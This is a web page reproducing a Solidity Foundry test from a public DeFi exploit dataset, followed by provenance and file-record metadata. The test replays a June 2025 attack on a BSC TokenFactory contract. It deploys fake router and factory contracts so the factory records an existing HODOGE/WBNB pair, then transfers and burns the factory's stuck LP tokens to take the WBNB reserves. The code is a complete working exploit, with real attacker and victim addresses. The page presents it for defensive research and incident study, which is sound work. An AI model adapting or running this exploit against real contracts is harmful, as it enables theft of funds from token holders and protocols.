Public reproduction file
src/test/2025-06/TokenFactory_exp.sol
Public reproduction file for dataset entry TokenFactory.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 657.17 USD8// Attacker : 0xc49F2938327aa2cDc3F2f89Ed17b54B3671F05DE9// Attack Contract : 0xC427866DcFa3dEc145B97ba73D1073a186A5976910// Vulnerable Contract : 0xe4997f98E84C1891e7b57069e177fcCF5f4F609411// Attack Tx : https://bscscan.com/tx/0xf74bf7f41c8ca380d439dd94eab95d1bbb1f6fc934e69f2e42eb3325def8514a12//13// @Info14// Vulnerable Contract Code : https://bscscan.com/address/0xe4997f98E84C1891e7b57069e177fcCF5f4F6094#code15//16// @Analysis17// Twitter Guy : https://t.me/defimon_alerts/124218//19// Attack summary: The attacker supplied fake router/factory contracts to TokenFactory so a newly created token20// recorded an existing HODOGE/WBNB Pancake pair as its pair, moved TokenFactory's stuck LP tokens to the pair, and21// burned them for reserves.22// Root cause: TokenFactory trusted caller-supplied liquidity infrastructure and did not verify the returned pair23// belonged to the newly created token.25address constant ATTACKER = 0xc49F2938327aa2cDc3F2f89Ed17b54B3671F05DE;26address constant TOKEN_FACTORY = 0xe4997f98E84C1891e7b57069e177fcCF5f4F6094;27address constant HODOGE_WBNB_PAIR = 0xda4f7E39Ef7E4e243b7fC8C980B5E8D794D84F5d;28address constant HODOGE = 0x328b065F04De0314374B5974Af532401a6170BAC;29address constant WBNB_TOKEN = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;31interface ITokenFactory {32 struct TokenInfo {33 string name;34 string symbol;35 uint8 decimal;36 uint256 initialSupply;37 address pairAddress;38 }40 function fee() external view returns (uint256);42 function createTokenAndAddLiquidity(43 TokenInfo memory tokenInfo,44 uint256 ethAmount,45 address swapRouter,46 address swapFactory,47 address weth48 ) external payable returns (address tokenAddress, address pairAddress);50 function transferPair(address tokenAddress, address to) external;51}53contract ContractTest is BaseTestWithBalanceLog {54 function setUp() public {55 uint256 forkBlock = 51_101_790;56 vm.createSelectFork("bsc", forkBlock);58 vm.label(ATTACKER, "Attacker");59 vm.label(TOKEN_FACTORY, "TokenFactory");60 vm.label(HODOGE_WBNB_PAIR, "HODOGE/WBNB Pair");61 vm.label(HODOGE, "HODOGE");62 vm.label(WBNB_TOKEN, "WBNB");63 }65 function testExploit() public {66 ITokenFactory factory = ITokenFactory(TOKEN_FACTORY);67 uint256 stuckLpBalance = IERC20(HODOGE_WBNB_PAIR).balanceOf(TOKEN_FACTORY);68 uint256 attackerWbnbBefore = IERC20(WBNB_TOKEN).balanceOf(ATTACKER);70 assertGt(stuckLpBalance, 0);71 deal(ATTACKER, factory.fee());73 // step 1: attacker-controlled router/factory make TokenFactory record the existing victim pair.74 vm.startPrank(ATTACKER);75 FakeRouter fakeRouter = new FakeRouter();76 FakeFactory fakeFactory = new FakeFactory(HODOGE_WBNB_PAIR);77 ITokenFactory.TokenInfo memory tokenInfo = ITokenFactory.TokenInfo({78 name: "USDT",79 symbol: "USDT",80 decimal: 18,81 initialSupply: 1 ether,82 pairAddress: address(0)83 });85 (address fakeToken,) =86 factory.createTokenAndAddLiquidity{value: factory.fee()}(tokenInfo, 0, address(fakeRouter), address(fakeFactory), WBNB_TOKEN);88 // step 2: move TokenFactory's unrelated HODOGE/WBNB LP tokens to the pair and burn them.89 factory.transferPair(fakeToken, HODOGE_WBNB_PAIR);90 IUniswapV2Pair(HODOGE_WBNB_PAIR).burn(ATTACKER);91 vm.stopPrank();93 // step 3: the attacker receives WBNB reserves and TokenFactory loses the stuck LP balance.94 uint256 attackerWbnbProfit = IERC20(WBNB_TOKEN).balanceOf(ATTACKER) - attackerWbnbBefore;95 assertGt(attackerWbnbProfit, 0.9 ether);96 assertEq(IERC20(HODOGE_WBNB_PAIR).balanceOf(TOKEN_FACTORY), 0);97 }98}100contract FakeFactory {101 address private immutable pair;103 constructor(104 address pair_105 ) {106 pair = pair_;107 }109 function getPair(address, address) external view returns (address) {110 return pair;111 }112}114contract FakeRouter {115 function addLiquidityETH(116 address,117 uint256,118 uint256,119 uint256,120 address,121 uint256122 ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity) {123 return (0, 0, 0);124 }125}Analysis
Dataset entry
Public Foundry test for “TokenFactory” (2025-06-08). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-06/AAVEBoost_exp.solSame month in the dataset · 78 lines
- src/test/2025-06/BankrollNetwork_exp.solSame month in the dataset · 84 lines
- src/test/2025-06/BankrollStack_exp.solSame month in the dataset · 65 lines
- src/test/2025-06/BankrollStackPlus_exp.solSame month in the dataset · 168 lines
- src/test/2025-06/BasePricePool_exp.solSame month in the dataset · 135 lines
- src/test/2025-06/BitCrown_exp.solSame month in the dataset · 96 lines
- src/test/2025-06/FixedTokenBSwap_exp.solSame month in the dataset · 158 lines
- src/test/2025-06/Gangsterfinance_exp.solSame month in the dataset · 68 lines
- src/test/2025-06/GradientMakerPool_exp.solSame month in the dataset · 113 lines
- src/test/2025-06/HoldSafe_exp.solSame month in the dataset · 176 lines
- src/test/2025-06/InitcodeFactoryFees_exp.solSame month in the dataset · 233 lines
- src/test/2025-06/MetaPool_exp.solSame month in the dataset · 151 lines
- src/test/2025-06/ParaSwapDAIApproval_exp.solSame month in the dataset · 201 lines
- src/test/2025-06/PegaBall_exp.solSame month in the dataset · 104 lines
- src/test/2025-06/ResupplyFi_exp.solSame month in the dataset · 138 lines
- src/test/2025-06/SiloFinance_exp.solSame month in the dataset · 201 lines
- src/test/2025-06/SinstakeZombie_exp.solSame month in the dataset · 138 lines
- src/test/2025-06/Stead_exp.solSame month in the dataset · 39 lines
- src/test/2025-06/TokenVault_exp.solSame month in the dataset · 130 lines
- src/test/2025-06/TSAggregatorGeneric_exp.solSame month in the dataset · 111 lines
- src/test/2025-06/unverified_8490_exp.solSame month in the dataset · 108 lines
- src/test/2025-06/unverified_b5cb_exp.solSame month in the dataset · 115 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xc49f2938327aa2cdc3f2f89ed17b54b3671f05de
- Attack Contract
0xc427866dcfa3dec145b97ba73d1073a186a59769
- Vulnerable Contract
0xe4997f98e84c1891e7b57069e177fccf5f4f6094
- Attack Tx
0xf74bf7f41c8ca380d439dd94eab95d1bbb1f6fc934e69f2e42eb3325def8514a
File record
- Name
- TokenFactory
- Path
- src/test/2025-06/TokenFactory_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- a9818b5fbcd032382ce104eb8be2240d08deba68
- Language
- Solidity
- Size
- 126 lines
- Date
- 2025-06-08
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-06/TokenFactory_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob a9818b5fbcd032382ce104eb8be2240d08deba68, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.